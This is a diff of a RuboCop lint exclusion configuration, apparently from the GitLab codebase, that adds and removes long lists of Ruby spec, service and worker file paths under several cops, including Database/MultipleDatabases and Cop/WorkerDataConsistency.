- - spec/services/import/bitbucket_server_service_spec.rb
- - spec/services/incident_management/incidents/create_service_spec.rb
- - spec/services/incident_management/pager_duty/create_incident_issue_service_spec.rb
- - spec/services/incident_management/pager_duty/process_webhook_service_spec.rb
- - spec/services/integrations/test/project_service_spec.rb
- - spec/services/issuable/bulk_update_service_spec.rb
- - spec/services/jira_connect/sync_service_spec.rb
- - spec/services/jira_import/start_import_service_spec.rb
- - spec/services/jira_import/users_importer_spec.rb
- - spec/services/markdown_content_rewriter_service_spec.rb
- - spec/services/members/create_service_spec.rb
- - spec/services/members/invite_service_spec.rb
- - spec/services/metrics/dashboard/annotations/create_service_spec.rb
- - spec/services/metrics/dashboard/gitlab_alert_embed_service_spec.rb
- - spec/services/metrics/users_starred_dashboards/create_service_spec.rb
- - spec/services/notes/copy_service_spec.rb
- - spec/services/notes/create_service_spec.rb
- - spec/services/notes/destroy_service_spec.rb
- - spec/services/notes/quick_actions_service_spec.rb
- - spec/services/notes/update_service_spec.rb
- - spec/services/notification_service_spec.rb
- - spec/services/packages/composer/create_package_service_spec.rb
- - spec/services/packages/conan/search_service_spec.rb
- - spec/services/packages/create_package_file_service_spec.rb
- - spec/services/packages/debian/find_or_create_package_service_spec.rb
- - spec/services/packages/generic/create_package_file_service_spec.rb
- - spec/services/packages/maven/find_or_create_package_service_spec.rb
- - spec/services/packages/nuget/search_service_spec.rb
- - spec/services/packages/rubygems/dependency_resolver_service_spec.rb
- - spec/services/pod_logs/base_service_spec.rb
- - spec/services/pod_logs/elasticsearch_service_spec.rb
- - spec/services/pod_logs/kubernetes_service_spec.rb
- - spec/services/projects/alerting/notify_service_spec.rb
- - spec/services/projects/create_service_spec.rb
- - spec/services/projects/destroy_rollback_service_spec.rb
- - spec/services/projects/destroy_service_spec.rb
- - spec/services/projects/gitlab_projects_import_service_spec.rb
- - spec/services/projects/group_links/create_service_spec.rb
- - spec/services/projects/group_links/destroy_service_spec.rb
- - spec/services/projects/group_links/update_service_spec.rb
- - spec/services/projects/prometheus/alerts/notify_service_spec.rb
- - spec/services/projects/transfer_service_spec.rb
- - spec/services/projects/update_pages_service_spec.rb
- - spec/services/prometheus/create_default_alerts_service_spec.rb
- - spec/services/quick_actions/interpret_service_spec.rb
- - spec/services/releases/create_evidence_service_spec.rb
- - spec/services/repositories/destroy_rollback_service_spec.rb
- - spec/services/repositories/destroy_service_spec.rb
- - spec/services/repositories/shell_destroy_service_spec.rb
- - spec/services/resource_access_tokens/create_service_spec.rb
- - spec/services/resource_access_tokens/revoke_service_spec.rb
- - spec/services/resource_events/change_labels_service_spec.rb
- - spec/services/resource_events/merge_into_notes_service_spec.rb
- - spec/services/security/ci_configuration/sast_create_service_spec.rb
- - spec/services/snippets/bulk_destroy_service_spec.rb
- - spec/services/snippets/create_service_spec.rb
- - spec/services/snippets/update_service_spec.rb
- - spec/services/spam/ham_service_spec.rb
- - spec/services/spam/spam_action_service_spec.rb
- - spec/services/spam/spam_verdict_service_spec.rb
- - spec/services/system_note_service_spec.rb
- - spec/services/system_notes/issuables_service_spec.rb
- - spec/services/test_hooks/project_service_spec.rb
- - spec/services/test_hooks/system_service_spec.rb
- - spec/services/users/approve_service_spec.rb
- - spec/services/users/reject_service_spec.rb
- - spec/services/users/validate_otp_service_spec.rb
- - spec/services/wiki_pages/event_create_service_spec.rb
- - spec/support/shared_examples/graphql/design_fields_shared_examples.rb
- - spec/support/shared_examples/graphql/mutations/set_assignees_shared_examples.rb
- - spec/support/shared_examples/quick_actions/issuable/issuable_quick_actions_shared_examples.rb
- - spec/support/shared_examples/services/container_registry_auth_service_shared_examples.rb
- - spec/support/shared_examples/services/packages_shared_examples.rb
- - spec/tasks/gitlab/db_rake_spec.rb
- - spec/tasks/gitlab/packages/composer_rake_spec.rb
- - spec/tasks/gitlab/snippets_rake_spec.rb
- - spec/uploaders/content_type_whitelist_spec.rb
- - spec/uploaders/dependency_proxy/file_uploader_spec.rb
- - spec/views/admin/application_settings/_eks.html.haml_spec.rb
- - spec/views/admin/application_settings/_package_registry.html.haml_spec.rb
- - spec/views/layouts/nav/sidebar/_project_security_link.html.haml_spec.rb
- - spec/views/projects/pipelines/new.html.haml_spec.rb
- - spec/views/projects/pipelines/show.html.haml_spec.rb
- - spec/views/search/_results.html.haml_spec.rb
- - spec/views/shared/_label_row.html.haml_spec.rb
- - spec/views/shared/milestones/_top.html.haml_spec.rb
-
RSpec/TimecopFreeze:
Exclude:
- 'ee/spec/controllers/admin/application_settings_controller_spec.rb'
@@ -857,7 +454,6 @@ RSpec/AnyInstanceOf:
- 'ee/spec/features/admin/admin_audit_logs_spec.rb'
- 'ee/spec/features/admin/admin_reset_pipeline_minutes_spec.rb'
- 'ee/spec/features/admin/admin_users_spec.rb'
- - 'ee/spec/features/admin/licenses/admin_views_license_spec.rb'
- 'ee/spec/features/boards/scoped_issue_board_spec.rb'
- 'ee/spec/features/ci_shared_runner_warnings_spec.rb'
- 'ee/spec/features/groups/group_settings_spec.rb'
@@ -1641,9 +1237,6 @@ Gitlab/NamespacedClass:
- 'app/models/project_pages_metadatum.rb'
- 'app/models/project_repository.rb'
- 'app/models/project_repository_storage_move.rb'
- - 'app/models/project_services/mock_monitoring_service.rb'
- - 'app/models/project_services/monitoring_service.rb'
- - 'app/models/project_services/prometheus_service.rb'
- 'app/models/project_setting.rb'
- 'app/models/project_snippet.rb'
- 'app/models/project_statistics.rb'
@@ -2161,6 +1754,7 @@ Gitlab/NamespacedClass:
- 'app/workers/git_garbage_collect_worker.rb'
- 'app/workers/gitlab_performance_bar_stats_worker.rb'
- 'app/workers/gitlab_shell_worker.rb'
+ - 'app/workers/gitlab_service_ping_worker.rb'
- 'app/workers/gitlab_usage_ping_worker.rb'
- 'app/workers/group_destroy_worker.rb'
- 'app/workers/group_export_worker.rb'
@@ -2551,11 +2145,6 @@ Gitlab/NamespacedClass:
- 'spec/tasks/gitlab/task_helpers_spec.rb'
- 'spec/uploaders/object_storage_spec.rb'
-Style/ClassEqualityComparison:
- Exclude:
- - spec/lib/peek/views/active_record_spec.rb
- - ee/spec/lib/peek/views/active_record_spec.rb
-
# WIP See https://gitlab.com/gitlab-org/gitlab/-/issues/207950
Cop/UserAdmin:
Exclude:
@@ -2611,8 +2200,8 @@ Cop/UserAdmin:
- 'ee/lib/ee/gitlab/git_access.rb'
- 'lib/api/award_emoji.rb'
- 'lib/api/ci/runners.rb'
- - 'lib/api/entities/runner_details.rb'
- - 'lib/api/entities/user_safe.rb'
+ - 'lib/api/entities/ci/runner_details.rb'
+ - 'lib/api/entities/ci/user_safe.rb'
- 'lib/api/groups.rb'
- 'lib/api/helpers.rb'
- 'lib/api/personal_access_tokens.rb'
@@ -2853,27 +2442,10 @@ Gitlab/FeatureAvailableUsage:
# WIP See https://gitlab.com/gitlab-org/gitlab/-/issues/327490
Style/RegexpLiteralMixedPreserve:
Exclude:
- - 'app/controllers/projects/repositories_controller.rb'
- - 'app/helpers/ci/variables_helper.rb'
- - 'app/models/alert_management/alert.rb'
- - 'app/models/application_setting.rb'
- - 'app/models/blob_viewer/go_mod.rb'
- - 'app/models/concerns/ci/maskable.rb'
- - 'app/models/operations/feature_flag.rb'
- - 'app/models/packages/go/module.rb'
- - 'app/services/packages/conan/search_service.rb'
- - 'app/services/projects/update_remote_mirror_service.rb'
- - 'config/initializers/rspec_profiling.rb'
- 'ee/app/models/status_page/project_setting.rb'
- 'ee/app/presenters/vulnerability_presenter.rb'
- 'ee/lib/api/geo_nodes.rb'
- 'ee/lib/gitlab/vulnerabilities/standard_vulnerability.rb'
- - 'ee/spec/controllers/concerns/ee/routable_actions/sso_enforcement_redirect_spec.rb'
- - 'ee/spec/controllers/concerns/routable_actions_spec.rb'
- - 'ee/spec/controllers/groups/groups_controller_spec.rb'
- - 'ee/spec/features/groups/saml_enforcement_spec.rb'
- - 'ee/spec/features/markdown/metrics_spec.rb'
- - 'ee/spec/services/jira/requests/issues/list_service_spec.rb'
- 'lib/api/invitations.rb'
- 'lib/gitlab/ci/pipeline/expression/lexeme/pattern.rb'
- 'lib/gitlab/metrics/requests_rack_middleware.rb'
@@ -2902,3 +2474,543 @@ Style/RegexpLiteralMixedPreserve:
- 'spec/support/helpers/query_recorder.rb'
- 'spec/support/helpers/require_migration.rb'
- 'spec/views/layouts/_head.html.haml_spec.rb'
+
+Database/MultipleDatabases:
+ Exclude:
+ - 'app/mailers/previews/notify_preview.rb'
+ - 'app/models/application_setting.rb'
+ - 'app/models/internal_id.rb'
+ - 'app/services/auto_merge/base_service.rb'
+ - 'app/services/ci/delete_unit_tests_service.rb'
+ - 'app/services/ci/unlock_artifacts_service.rb'
+ - 'app/services/deployments/update_environment_service.rb'
+ - 'app/services/design_management/copy_design_collection/copy_service.rb'
+ - 'app/services/feature_flags/create_service.rb'
+ - 'app/services/feature_flags/destroy_service.rb'
+ - 'app/services/feature_flags/update_service.rb'
+ - 'app/services/issuable/clone/base_service.rb'
+ - 'app/services/issuable/common_system_notes_service.rb'
+ - 'app/services/issuable/destroy_label_links_service.rb'
+ - 'app/services/packages/create_dependency_service.rb'
+ - 'app/services/packages/go/create_package_service.rb'
+ - 'app/services/packages/npm/create_package_service.rb'
+ - 'app/services/packages/terraform_module/create_package_service.rb'
+ - 'app/services/projects/cleanup_service.rb'
+ - 'app/services/projects/fetch_statistics_increment_service.rb'
+ - 'app/services/releases/update_service.rb'
+ - 'app/services/todos/destroy/destroyed_issuable_service.rb'
+ - 'ee/app/models/dora/daily_metrics.rb'
+ - 'ee/app/services/analytics/devops_adoption/enabled_namespaces/bulk_delete_service.rb'
+ - 'ee/app/services/approval_rules/finalize_service.rb'
+ - 'ee/app/services/approval_rules/project_rule_destroy_service.rb'
+ - 'ee/app/services/app_sec/dast/site_profiles/create_service.rb'
+ - 'ee/app/services/app_sec/dast/site_profiles/update_service.rb'
+ - 'ee/app/services/ci/minutes/update_build_minutes_service.rb'
+ - 'ee/app/services/ee/issuable/common_system_notes_service.rb'
+ - 'ee/app/services/group_saml/group_managed_accounts/transfer_membership_service.rb'
+ - 'ee/app/services/group_saml/sign_up_service.rb'
+ - 'ee/app/services/iterations/roll_over_issues_service.rb'
+ - 'ee/app/services/security/store_scan_service.rb'
+ - 'ee/app/services/timebox_report_service.rb'
+ - 'ee/app/services/vulnerability_feedback/create_service.rb'
+ - 'ee/lib/ee/gitlab/checks/push_rule_check.rb'
+ - 'ee/lib/ee/gitlab/database.rb'
+ - 'ee/lib/gitlab/geo/database_tasks.rb'
+ - 'ee/lib/gitlab/geo/geo_tasks.rb'
+ - 'ee/lib/gitlab/geo/health_check.rb'
+ - 'ee/lib/gitlab/geo/log_cursor/daemon.rb'
+ - 'ee/lib/pseudonymizer/dumper.rb'
+ - 'ee/lib/pseudonymizer/pager.rb'
+ - 'ee/lib/system_check/geo/geo_database_configured_check.rb'
+ - 'ee/spec/lib/pseudonymizer/dumper_spec.rb'
+ - 'ee/spec/models/pg_replication_slot_spec.rb'
+ - 'ee/spec/services/ee/merge_requests/update_service_spec.rb'
+ - 'lib/backup/database.rb'
+ - 'lib/after_commit_queue.rb'
+ - 'lib/api/rubygem_packages.rb'
+ - 'lib/backup/manager.rb'
+ - 'lib/gitlab/analytics/cycle_analytics/stage_query_helpers.rb'
+ - 'lib/gitlab/chaos.rb'
+ - 'lib/gitlab/current_settings.rb'
+ - 'lib/gitlab/database/batch_count.rb'
+ - 'lib/gitlab/database/batch_counter.rb'
+ - 'lib/gitlab/database/count/reltuples_count_strategy.rb'
+ - 'lib/gitlab/database/count/tablesample_count_strategy.rb'
+ - 'lib/gitlab/database/grant.rb'
+ - 'lib/gitlab/database/load_balancing/load_balancer.rb'
+ - 'lib/gitlab/database/load_balancing.rb'
+ - 'lib/gitlab/database/load_balancing/sticking.rb'
+ - 'lib/gitlab/database/migrations/observers/migration_observer.rb'
+ - 'lib/gitlab/database/migrations/observers/query_log.rb'
+ - 'lib/gitlab/database/multi_threaded_migration.rb'
+ - 'lib/gitlab/database/partitioning_migration_helpers/backfill_partitioned_table.rb'
+ - 'lib/gitlab/database/partitioning/monthly_strategy.rb'
+ - 'lib/gitlab/database/partitioning/partition_manager.rb'
+ - 'lib/gitlab/database/partitioning/partition_creator.rb'
+ - 'lib/gitlab/database/partitioning/replace_table.rb'
+ - 'lib/gitlab/database/partitioning/time_partition.rb'
+ - 'lib/gitlab/database/postgres_hll/batch_distinct_counter.rb'
+ - 'lib/gitlab/database/postgresql_adapter/dump_schema_versions_mixin.rb'
+ - 'lib/gitlab/database/postgresql_database_tasks/load_schema_versions_mixin.rb'
+ - 'lib/gitlab/database.rb'
+ - 'lib/gitlab/database/reindexing/concurrent_reindex.rb'
+ - 'lib/gitlab/database/reindexing/reindex_concurrently.rb'
+ - 'lib/gitlab/database/schema_cache_with_renamed_table.rb'
+ - 'lib/gitlab/database/schema_migrations/context.rb'
+ - 'lib/gitlab/database/schema_version_files.rb'
+ - 'lib/gitlab/database/similarity_score.rb'
+ - 'lib/gitlab/database/unidirectional_copy_trigger.rb'
+ - 'lib/gitlab/database/with_lock_retries.rb'
+ - 'lib/gitlab/gitlab_import/importer.rb'
+ - 'lib/gitlab/health_checks/db_check.rb'
+ - 'lib/gitlab/import_export/base/relation_factory.rb'
+ - 'lib/gitlab/import_export/relation_tree_restorer.rb'
+ - 'lib/gitlab/legacy_github_import/importer.rb'
+ - 'lib/gitlab/metrics/samplers/database_sampler.rb'
+ - 'lib/gitlab/optimistic_locking.rb'
+ - 'lib/gitlab/otp_key_rotator.rb'
+ - 'lib/gitlab/profiler.rb'
+ - 'lib/gitlab/seeder.rb'
+ - 'lib/gitlab/sherlock/query.rb'
+ - 'lib/gitlab/sql/glob.rb'
+ - 'lib/gitlab/sql/set_operator.rb'
+ - 'lib/system_check/orphans/repository_check.rb'
+ - 'spec/db/schema_spec.rb'
+ - 'spec/features/admin/dashboard_spec.rb'
+ - 'spec/initializers/database_config_spec.rb'
+ - 'spec/initializers/lograge_spec.rb'
+ - 'spec/lib/backup/manager_spec.rb'
+ - 'spec/lib/gitlab/current_settings_spec.rb'
+ - 'spec/lib/gitlab/database_spec.rb'
+ - 'spec/lib/gitlab/import_export/fast_hash_serializer_spec.rb'
+ - 'spec/lib/gitlab/import_export/project/tree_saver_spec.rb'
+ - 'spec/lib/gitlab/metrics/subscribers/active_record_spec.rb'
+ - 'spec/lib/gitlab/pagination/keyset/order_spec.rb'
+ - 'spec/lib/gitlab/profiler_spec.rb'
+ - 'spec/lib/gitlab/query_limiting/active_support_subscriber_spec.rb'
+ - 'spec/lib/gitlab/sidekiq_logging/structured_logger_spec.rb'
+ - 'spec/lib/gitlab/sql/cte_spec.rb'
+ - 'spec/lib/gitlab/sql/glob_spec.rb'
+ - 'spec/lib/gitlab/sql/recursive_cte_spec.rb'
+ - 'spec/lib/gitlab/usage_data_metrics_spec.rb'
+ - 'spec/lib/gitlab/usage_data_queries_spec.rb'
+ - 'spec/lib/gitlab/usage/metrics/names_suggestions/relation_parsers/constraints_spec.rb'
+ - 'spec/lib/gitlab/usage/metrics/names_suggestions/relation_parsers/joins_spec.rb'
+ - 'spec/lib/gitlab/usage/metrics/instrumentations/database_metric_spec.rb'
+ - 'spec/lib/gitlab/utils/usage_data_spec.rb'
+ - 'spec/models/application_setting_spec.rb'
+ - 'spec/models/concerns/case_sensitivity_spec.rb'
+ - 'spec/models/concerns/sortable_spec.rb'
+ - 'spec/models/concerns/where_composite_spec.rb'
+ - 'spec/models/experiment_spec.rb'
+ - 'spec/models/internal_id_spec.rb'
+ - 'spec/models/project_feature_usage_spec.rb'
+ - 'spec/models/users_statistics_spec.rb'
+ - 'spec/requests/api/statistics_spec.rb'
+ - 'spec/services/users/activity_service_spec.rb'
+ - 'spec/support/caching.rb'
+ - 'spec/support/gitlab/usage/metrics_instrumentation_shared_examples.rb'
+ - 'spec/support/helpers/database_connection_helpers.rb'
+ - 'spec/support/helpers/database/database_helpers.rb'
+ - 'spec/support/helpers/database/table_schema_helpers.rb'
+ - 'spec/support/helpers/migrations_helpers.rb'
+ - 'spec/support/helpers/query_recorder.rb'
+ - 'spec/support/helpers/usage_data_helpers.rb'
+ - 'spec/tasks/gitlab/backup_rake_spec.rb'
+ - 'spec/tasks/gitlab/db_rake_spec.rb'
+ - 'spec/workers/analytics/usage_trends/counter_job_worker_spec.rb'
+ - 'spec/workers/users/create_statistics_worker_spec.rb'
+
+# See https://gitlab.com/gitlab-org/gitlab/-/issues/335170
+Cop/WorkerDataConsistency:
+ Exclude:
+ - 'app/workers/admin_email_worker.rb'
+ - 'app/workers/analytics/usage_trends/count_job_trigger_worker.rb'
+ - 'app/workers/analytics/usage_trends/counter_job_worker.rb'
+ - 'app/workers/approve_blocked_pending_approval_users_worker.rb'
+ - 'app/workers/archive_trace_worker.rb'
+ - 'app/workers/authorized_keys_worker.rb'
+ - 'app/workers/authorized_project_update/periodic_recalculate_worker.rb'
+ - 'app/workers/authorized_project_update/project_create_worker.rb'
+ - 'app/workers/authorized_project_update/project_group_link_create_worker.rb'
+ - 'app/workers/authorized_project_update/project_recalculate_worker.rb'
+ - 'app/workers/authorized_project_update/user_refresh_from_replica_worker.rb'
+ - 'app/workers/authorized_projects_worker.rb'
+ - 'app/workers/auto_devops/disable_worker.rb'
+ - 'app/workers/auto_merge_process_worker.rb'
+ - 'app/workers/background_migration_worker.rb'
+ - 'app/workers/build_finished_worker.rb'
+ - 'app/workers/build_success_worker.rb'
+ - 'app/workers/bulk_import_worker.rb'
+ - 'app/workers/bulk_imports/entity_worker.rb'
+ - 'app/workers/bulk_imports/export_request_worker.rb'
+ - 'app/workers/bulk_imports/pipeline_worker.rb'
+ - 'app/workers/bulk_imports/relation_export_worker.rb'
+ - 'app/workers/chaos/cpu_spin_worker.rb'
+ - 'app/workers/chaos/db_spin_worker.rb'
+ - 'app/workers/chaos/kill_worker.rb'
+ - 'app/workers/chaos/leak_mem_worker.rb'
+ - 'app/workers/chaos/sleep_worker.rb'
+ - 'app/workers/chat_notification_worker.rb'
+ - 'app/workers/ci/archive_trace_worker.rb'
+ - 'app/workers/ci/archive_traces_cron_worker.rb'
+ - 'app/workers/ci/build_finished_worker.rb'
+ - 'app/workers/ci/build_prepare_worker.rb'
+ - 'app/workers/ci/build_schedule_worker.rb'
+ - 'app/workers/ci/build_trace_chunk_flush_worker.rb'
+ - 'app/workers/ci/daily_build_group_report_results_worker.rb'
+ - 'app/workers/ci/delete_objects_worker.rb'
+ - 'app/workers/ci/delete_unit_tests_worker.rb'
+ - 'app/workers/ci/drop_pipeline_worker.rb'
+ - 'app/workers/ci/initial_pipeline_process_worker.rb'
+ - 'app/workers/ci/merge_requests/add_todo_when_build_fails_worker.rb'
+ - 'app/workers/ci/pipeline_artifacts/coverage_report_worker.rb'
+ - 'app/workers/ci/pipeline_artifacts/create_quality_report_worker.rb'
+ - 'app/workers/ci/pipeline_artifacts/expire_artifacts_worker.rb'
+ - 'app/workers/ci/pipeline_success_unlock_artifacts_worker.rb'
+ - 'app/workers/ci/ref_delete_unlock_artifacts_worker.rb'
+ - 'app/workers/ci/resource_groups/assign_resource_from_resource_group_worker.rb'
+ - 'app/workers/ci/schedule_delete_objects_cron_worker.rb'
+ - 'app/workers/ci/test_failure_history_worker.rb'
+ - 'app/workers/ci_platform_metrics_update_cron_worker.rb'
+ - 'app/workers/cleanup_container_repository_worker.rb'
+ - 'app/workers/cluster_configure_istio_worker.rb'
+ - 'app/workers/cluster_install_app_worker.rb'
+ - 'app/workers/cluster_patch_app_worker.rb'
+ - 'app/workers/cluster_provision_worker.rb'
+ - 'app/workers/cluster_update_app_worker.rb'
+ - 'app/workers/cluster_upgrade_app_worker.rb'
+ - 'app/workers/cluster_wait_for_app_installation_worker.rb'
+ - 'app/workers/cluster_wait_for_app_update_worker.rb'
+ - 'app/workers/cluster_wait_for_ingress_ip_address_worker.rb'
+ - 'app/workers/clusters/applications/activate_service_worker.rb'
+ - 'app/workers/clusters/applications/check_prometheus_health_worker.rb'
+ - 'app/workers/clusters/applications/deactivate_service_worker.rb'
+ - 'app/workers/clusters/applications/uninstall_worker.rb'
+ - 'app/workers/clusters/applications/wait_for_uninstall_app_worker.rb'
+ - 'app/workers/container_expiration_policies/cleanup_container_repository_worker.rb'
+ - 'app/workers/container_expiration_policy_worker.rb'
+ - 'app/workers/create_commit_signature_worker.rb'
+ - 'app/workers/create_note_diff_file_worker.rb'
+ - 'app/workers/create_pipeline_worker.rb'
+ - 'app/workers/database/batched_background_migration_worker.rb'
+ - 'app/workers/database/partition_management_worker.rb'
+ - 'app/workers/delete_container_repository_worker.rb'
+ - 'app/workers/delete_diff_files_worker.rb'
+ - 'app/workers/delete_merged_branches_worker.rb'
+ - 'app/workers/delete_stored_files_worker.rb'
+ - 'app/workers/delete_user_worker.rb'
+ - 'app/workers/deployments/drop_older_deployments_worker.rb'
+ - 'app/workers/deployments/finished_worker.rb'
+ - 'app/workers/deployments/forward_deployment_worker.rb'
+ - 'app/workers/deployments/hooks_worker.rb'
+ - 'app/workers/deployments/link_merge_request_worker.rb'
+ - 'app/workers/deployments/success_worker.rb'
+ - 'app/workers/deployments/update_environment_worker.rb'
+ - 'app/workers/design_management/copy_design_collection_worker.rb'
+ - 'app/workers/design_management/new_version_worker.rb'
+ - 'app/workers/destroy_pages_deployments_worker.rb'
+ - 'app/workers/detect_repository_languages_worker.rb'
+ - 'app/workers/disallow_two_factor_for_group_worker.rb'
+ - 'app/workers/disallow_two_factor_for_subgroups_worker.rb'
+ - 'app/workers/email_receiver_worker.rb'
+ - 'app/workers/emails_on_push_worker.rb'
+ - 'app/workers/environments/auto_stop_cron_worker.rb'
+ - 'app/workers/environments/canary_ingress/update_worker.rb'
+ - 'app/workers/error_tracking_issue_link_worker.rb'
+ - 'app/workers/experiments/record_conversion_event_worker.rb'
+ - 'app/workers/expire_build_artifacts_worker.rb'
+ - 'app/workers/expire_build_instance_artifacts_worker.rb'
+ - 'app/workers/expire_job_cache_worker.rb'
+ - 'app/workers/export_csv_worker.rb'
+ - 'app/workers/file_hook_worker.rb'
+ - 'app/workers/flush_counter_increments_worker.rb'
+ - 'app/workers/gitlab/github_import/advance_stage_worker.rb'
+ - 'app/workers/gitlab/github_import/refresh_import_jid_worker.rb'
+ - 'app/workers/gitlab/github_import/stage/finish_import_worker.rb'
+ - 'app/workers/gitlab/github_import/stage/import_base_data_worker.rb'
+ - 'app/workers/gitlab/github_import/stage/import_issues_and_diff_notes_worker.rb'
+ - 'app/workers/gitlab/github_import/stage/import_lfs_objects_worker.rb'
+ - 'app/workers/gitlab/github_import/stage/import_notes_worker.rb'
+ - 'app/workers/gitlab/github_import/stage/import_pull_requests_merged_by_worker.rb'
+ - 'app/workers/gitlab/github_import/stage/import_pull_requests_reviews_worker.rb'
+ - 'app/workers/gitlab/github_import/stage/import_pull_requests_worker.rb'
+ - 'app/workers/gitlab/github_import/stage/import_repository_worker.rb'
+ - 'app/workers/gitlab/jira_import/advance_stage_worker.rb'
+ - 'app/workers/gitlab/jira_import/import_issue_worker.rb'
+ - 'app/workers/gitlab/jira_import/stage/start_import_worker.rb'
+ - 'app/workers/gitlab/phabricator_import/import_tasks_worker.rb'
+ - 'app/workers/gitlab_performance_bar_stats_worker.rb'
+ - 'app/workers/gitlab_service_ping_worker.rb'
+ - 'app/workers/gitlab_shell_worker.rb'
+ - 'app/workers/group_destroy_worker.rb'
+ - 'app/workers/group_export_worker.rb'
+ - 'app/workers/group_import_worker.rb'
+ - 'app/workers/hashed_storage/migrator_worker.rb'
+ - 'app/workers/hashed_storage/project_migrate_worker.rb'
+ - 'app/workers/hashed_storage/project_rollback_worker.rb'
+ - 'app/workers/hashed_storage/rollbacker_worker.rb'
+ - 'app/workers/import_export_project_cleanup_worker.rb'
+ - 'app/workers/import_issues_csv_worker.rb'
+ - 'app/workers/incident_management/add_severity_system_note_worker.rb'
+ - 'app/workers/incident_management/pager_duty/process_incident_worker.rb'
+ - 'app/workers/incident_management/process_alert_worker_v2.rb'
+ - 'app/workers/invalid_gpg_signature_update_worker.rb'
+ - 'app/workers/irker_worker.rb'
+ - 'app/workers/issuable/label_links_destroy_worker.rb'
+ - 'app/workers/issuable_export_csv_worker.rb'
+ - 'app/workers/issuables/clear_groups_issue_counter_worker.rb'
+ - 'app/workers/issue_due_scheduler_worker.rb'
+ - 'app/workers/issue_placement_worker.rb'
+ - 'app/workers/issue_rebalancing_worker.rb'
+ - 'app/workers/jira_connect/forward_event_worker.rb'
+ - 'app/workers/jira_connect/sync_branch_worker.rb'
+ - 'app/workers/jira_connect/sync_builds_worker.rb'
+ - 'app/workers/jira_connect/sync_deployments_worker.rb'
+ - 'app/workers/jira_connect/sync_feature_flags_worker.rb'
+ - 'app/workers/jira_connect/sync_merge_request_worker.rb'
+ - 'app/workers/jira_connect/sync_project_worker.rb'
+ - 'app/workers/mail_scheduler/issue_due_worker.rb'
+ - 'app/workers/mail_scheduler/notification_service_worker.rb'
+ - 'app/workers/member_invitation_reminder_emails_worker.rb'
+ - 'app/workers/members_destroyer/unassign_issuables_worker.rb'
+ - 'app/workers/merge_request_cleanup_refs_worker.rb'
+ - 'app/workers/merge_request_mergeability_check_worker.rb'
+ - 'app/workers/merge_requests/create_pipeline_worker.rb'
+ - 'app/workers/merge_requests/delete_source_branch_worker.rb'
+ - 'app/workers/merge_requests/handle_assignees_change_worker.rb'
+ - 'app/workers/merge_requests/resolve_todos_worker.rb'
+ - 'app/workers/merge_worker.rb'
+ - 'app/workers/metrics/dashboard/prune_old_annotations_worker.rb'
+ - 'app/workers/metrics/dashboard/schedule_annotations_prune_worker.rb'
+ - 'app/workers/metrics/dashboard/sync_dashboards_worker.rb'
+ - 'app/workers/migrate_external_diffs_worker.rb'
+ - 'app/workers/namespaceless_project_destroy_worker.rb'
+ - 'app/workers/namespaces/in_product_marketing_emails_worker.rb'
+ - 'app/workers/namespaces/onboarding_issue_created_worker.rb'
+ - 'app/workers/namespaces/onboarding_pipeline_created_worker.rb'
+ - 'app/workers/namespaces/onboarding_progress_worker.rb'
+ - 'app/workers/namespaces/onboarding_user_added_worker.rb'
+ - 'app/workers/namespaces/prune_aggregation_schedules_worker.rb'
+ - 'app/workers/namespaces/root_statistics_worker.rb'
+ - 'app/workers/namespaces/schedule_aggregation_worker.rb'
+ - 'app/workers/new_issue_worker.rb'
+ - 'app/workers/new_merge_request_worker.rb'
+ - 'app/workers/new_note_worker.rb'
+ - 'app/workers/object_pool/create_worker.rb'
+ - 'app/workers/object_pool/destroy_worker.rb'
+ - 'app/workers/object_pool/join_worker.rb'
+ - 'app/workers/object_pool/schedule_join_worker.rb'
+ - 'app/workers/object_storage/background_move_worker.rb'
+ - 'app/workers/object_storage/migrate_uploads_worker.rb'
+ - 'app/workers/packages/composer/cache_cleanup_worker.rb'
+ - 'app/workers/packages/composer/cache_update_worker.rb'
+ - 'app/workers/packages/debian/generate_distribution_worker.rb'
+ - 'app/workers/packages/debian/process_changes_worker.rb'
+ - 'app/workers/packages/go/sync_packages_worker.rb'
+ - 'app/workers/packages/helm/extraction_worker.rb'
+ - 'app/workers/packages/maven/metadata/sync_worker.rb'
+ - 'app/workers/packages/nuget/extraction_worker.rb'
+ - 'app/workers/packages/rubygems/extraction_worker.rb'
+ - 'app/workers/pages_domain_removal_cron_worker.rb'
+ - 'app/workers/pages_domain_ssl_renewal_cron_worker.rb'
+ - 'app/workers/pages_domain_ssl_renewal_worker.rb'
+ - 'app/workers/pages_domain_verification_cron_worker.rb'
+ - 'app/workers/pages_domain_verification_worker.rb'
+ - 'app/workers/pages_remove_worker.rb'
+ - 'app/workers/pages_transfer_worker.rb'
+ - 'app/workers/pages_update_configuration_worker.rb'
+ - 'app/workers/pages_worker.rb'
+ - 'app/workers/partition_creation_worker.rb'
+ - 'app/workers/personal_access_tokens/expired_notification_worker.rb'
+ - 'app/workers/personal_access_tokens/expiring_worker.rb'
+ - 'app/workers/pipeline_metrics_worker.rb'
+ - 'app/workers/pipeline_notification_worker.rb'
+ - 'app/workers/pipeline_process_worker.rb'
+ - 'app/workers/pipeline_schedule_worker.rb'
+ - 'app/workers/post_receive.rb'
+ - 'app/workers/process_commit_worker.rb'
+ - 'app/workers/project_cache_worker.rb'
+ - 'app/workers/project_daily_statistics_worker.rb'
+ - 'app/workers/project_destroy_worker.rb'
+ - 'app/workers/project_export_worker.rb'
+ - 'app/workers/project_service_worker.rb'
+ - 'app/workers/projects/post_creation_worker.rb'
+ - 'app/workers/projects/schedule_bulk_repository_shard_moves_worker.rb'
+ - 'app/workers/prometheus/create_default_alerts_worker.rb'
+ - 'app/workers/propagate_integration_group_worker.rb'
+ - 'app/workers/propagate_integration_inherit_descendant_worker.rb'
+ - 'app/workers/propagate_integration_inherit_worker.rb'
+ - 'app/workers/propagate_integration_project_worker.rb'
+ - 'app/workers/propagate_integration_worker.rb'
+ - 'app/workers/propagate_service_template_worker.rb'
+ - 'app/workers/prune_old_events_worker.rb'
+ - 'app/workers/purge_dependency_proxy_cache_worker.rb'
+ - 'app/workers/rebase_worker.rb'
+ - 'app/workers/releases/create_evidence_worker.rb'
+ - 'app/workers/releases/manage_evidence_worker.rb'
+ - 'app/workers/remote_mirror_notification_worker.rb'
+ - 'app/workers/remove_expired_group_links_worker.rb'
+ - 'app/workers/remove_expired_members_worker.rb'
+ - 'app/workers/remove_unaccepted_member_invites_worker.rb'
+ - 'app/workers/remove_unreferenced_lfs_objects_worker.rb'
+ - 'app/workers/repository_archive_cache_worker.rb'
+ - 'app/workers/repository_check/batch_worker.rb'
+ - 'app/workers/repository_check/clear_worker.rb'
+ - 'app/workers/repository_check/dispatch_worker.rb'
